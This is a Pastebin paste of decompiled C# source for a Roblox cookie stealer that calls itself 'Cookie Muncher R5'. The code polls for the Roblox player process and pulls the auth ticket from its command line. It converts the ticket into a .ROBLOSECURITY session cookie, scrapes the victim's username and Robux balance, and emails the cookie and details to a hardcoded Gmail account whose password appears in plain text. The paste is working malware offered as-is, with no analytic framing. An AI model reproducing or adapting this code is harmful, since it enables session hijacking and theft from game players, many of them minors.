Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using Microsoft.VisualBasic;
- using Microsoft.VisualBasic.CompilerServices;
- using System;
- using System.Collections;
- using System.Collections.Generic;
- using System.IO;
- using System.Management;
- using System.Net;
- using System.Text;
- namespace FrontPageBot
- {
- public class cookiework
- {
- public string username;
- private string tickk;
- public bool done;
- private emailapi emaill;
- public cookiework()
- {
- this.emaill = new emailapi();
- }
- public object getinfo(string cookie)
- {
- new UTF8Encoding();
- HttpWebRequest expr_15 = (HttpWebRequest)WebRequest.Create("http://www.roblox.com/home");
- expr_15.Method = "GET";
- expr_15.KeepAlive = true;
- expr_15.AllowAutoRedirect = true;
- expr_15.Headers.Add("RBXAuthenticationNegotiation", ": http://www.roblox.com");
- expr_15.UserAgent = "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36";
- expr_15.ContentType = "application/x-www-form-urlencoded";
- expr_15.Headers.Add("Cookie", ".ROBLOSECURITY=" + cookie);
- HttpWebResponse httpWebResponse = (HttpWebResponse)expr_15.GetResponse();
- string text = new StreamReader(httpWebResponse.GetResponseStream()).ReadToEnd();
- List<string> list = new List<string>();
- object result;
- if (Operators.CompareString(text, null, false) != 0 && text.Contains("Hello, "))
- {
- list.Add("Username:" + this.textbetween(text, ">Hello, ", "!</a>"));
- list.Add("Robux:" + this.textbetween(text, "rbx-menu-item\">", " ROBUX</a></li>"));
- list.Add("Cookie:" + cookie);
- StringBuilder stringBuilder = new StringBuilder();
- try
- {
- List<string>.Enumerator enumerator = list.GetEnumerator();
- while (enumerator.MoveNext())
- {
- string current = enumerator.Current;
- if (!current.Contains("Cookie"))
- {
- stringBuilder.Append(current + " ");
- }
- else
- {
- stringBuilder.Append(current);
- }
- }
- }
- finally
- {
- List<string>.Enumerator enumerator;
- ((IDisposable)enumerator).Dispose();
- }
- result = stringBuilder.ToString();
- }
- else
- {
- result = null;
- }
- return result;
- }
- public object getusername(string cookie)
- {
- new UTF8Encoding();
- HttpWebRequest expr_15 = (HttpWebRequest)WebRequest.Create("http://www.roblox.com/home");
- expr_15.Method = "GET";
- expr_15.KeepAlive = true;
- expr_15.AllowAutoRedirect = true;
- expr_15.Headers.Add("RBXAuthenticationNegotiation", ": http://www.roblox.com");
- expr_15.UserAgent = "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36";
- expr_15.ContentType = "application/x-www-form-urlencoded";
- expr_15.Headers.Add("Cookie", ".ROBLOSECURITY=" + cookie);
- HttpWebResponse httpWebResponse = (HttpWebResponse)expr_15.GetResponse();
- string text = new StreamReader(httpWebResponse.GetResponseStream()).ReadToEnd();
- new List<string>();
- object result;
- if (Operators.CompareString(text, null, false) != 0 && text.Contains("Hello, "))
- {
- result = this.textbetween(text, ">Hello, ", "!</a>");
- }
- else
- {
- result = null;
- }
- return result;
- }
- public object tickettocookie(string ticket)
- {
- object result;
- try
- {
- CookieContainer cookieContainer = new CookieContainer();
- new UTF8Encoding();
- HttpWebRequest expr_21 = (HttpWebRequest)WebRequest.Create("https://www.roblox.com/Login/Negotiate.ashx?suggest=" + ticket);
- expr_21.Method = "GET";
- expr_21.KeepAlive = true;
- expr_21.CookieContainer = cookieContainer;
- expr_21.Headers.Add("RBXAuthenticationNegotiation", ": http://www.roblox.com");
- expr_21.UserAgent = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) RobloxStudio/0. 255. 0. 82159 Safari/534.34";
- expr_21.ContentType = "application/x-www-form-urlencoded";
- HttpWebResponse httpWebResponse = (HttpWebResponse)expr_21.GetResponse();
- cookieContainer.Add(httpWebResponse.Cookies);
- new StreamReader(httpWebResponse.GetResponseStream()).ReadToEnd();
- try
- {
- IEnumerator enumerator = httpWebResponse.Cookies.GetEnumerator();
- while (enumerator.MoveNext())
- {
- Cookie cookie = (Cookie)enumerator.Current;
- if (cookie.Value.Contains("WARN"))
- {
- result = cookie.Value;
- return result;
- }
- }
- }
- finally
- {
- IEnumerator enumerator;
- if (enumerator is IDisposable)
- {
- (enumerator as IDisposable).Dispose();
- }
- }
- }
- catch (Exception expr_F5)
- {
- ProjectData.SetProjectError(expr_F5);
- ProjectData.ClearProjectError();
- }
- result = null;
- return result;
- }
- public string textbetween(string full, string firsts, string seconds)
- {
- string result;
- try
- {
- int num = full.IndexOf(firsts);
- int num2 = full.IndexOf(seconds);
- if (num > -1 && num2 > -1)
- {
- result = checked(Strings.Mid(full, num + firsts.Length + 1, num2 - num - firsts.Length));
- }
- else
- {
- result = Conversions.ToString(false);
- }
- }
- catch (Exception expr_55)
- {
- ProjectData.SetProjectError(expr_55);
- result = Conversions.ToString(false);
- ProjectData.ClearProjectError();
- }
- return result;
- }
- public void exec()
- {
- while (true)
- {
- try
- {
- ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT * FROM Win32_Process WHERE Name='RobloxPlayerBeta.exe'");
- if (managementObjectSearcher.Get().Count != 0)
- {
- try
- {
- ManagementObjectCollection.ManagementObjectEnumerator enumerator = managementObjectSearcher.Get().GetEnumerator();
- while (enumerator.MoveNext())
- {
- ManagementObject managementObject = (ManagementObject)enumerator.Current;
- if (Conversions.ToBoolean(Operators.NotObject(Operators.CompareObjectEqual(managementObject["CommandLine"], null, false))) && Conversions.ToBoolean(Operators.NotObject(Operators.CompareObjectEqual(managementObject["CommandLine"], this.tickk, false))))
- {
- this.tickk = Conversions.ToString(managementObject["CommandLine"]);
- string theemaill = "robloxlogs@gmail.com";
- string thepassword = "robloxcmr5";
- this.emaill.sendemail(theemaill, thepassword, "robloxlogs@gmail.com", "Cookie Muncher R5 has received \r\n" + this.getinfo(Conversions.ToString(this.tickettocookie(this.textbetween(Conversions.ToString(managementObject["CommandLine"]), ".ashx -t ", " -j https://")))).ToString().Replace(" ", "\r\n"));
- this.username = Conversions.ToString(this.getusername(Conversions.ToString(this.tickettocookie(this.textbetween(Conversions.ToString(managementObject["CommandLine"]), ".ashx -t ", " -j https://")))));
- this.done = true;
- }
- }
- break;
- }
- finally
- {
- ManagementObjectCollection.ManagementObjectEnumerator enumerator;
- if (enumerator != null)
- {
- ((IDisposable)enumerator).Dispose();
- }
- }
- continue;
- break;
- }
- continue;
- }
- catch (Exception expr_16F)
- {
- ProjectData.SetProjectError(expr_16F);
- ProjectData.ClearProjectError();
- }
- break;
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement